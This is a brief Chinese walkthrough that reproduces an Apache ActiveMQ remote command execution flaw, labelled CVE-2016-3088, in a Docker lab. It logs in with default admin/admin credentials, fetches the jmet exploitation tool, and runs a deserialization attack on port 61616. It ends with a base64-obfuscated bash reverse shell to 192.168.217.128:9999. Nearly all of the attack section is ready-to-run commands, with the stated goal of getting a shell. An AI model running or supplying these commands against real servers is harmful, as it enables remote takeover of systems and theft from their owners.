CVE-2016-3088

一、环境搭建

Java:jdk8

影响版本 Apache ActiveMQ < 5.13.0

二、用docker搭建漏洞环境

访问一下web界面

然后进入admin目录登录

账号:admin

密码:admin

三、工具准备

1. cd /opt

2. wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

3. mkdir external

注意：一定要下载external，否则会报错

四、测试漏洞存在

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 8.210.152.234（靶机IP，下图说是自己的ip是错误的） 61616

点击触发命令执行

查看一下目录，发现创建成功

五、getshell

首先借用一个网站对payload进行处理，网址我以前的文章复现有提到。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMjgvOTk5OSAwPiYxIA==}|{base64,-d}|{bash,-i}" 192.168.217.128  61616

最后点击它，触发命令执行

如上图所示即反弹shell成功！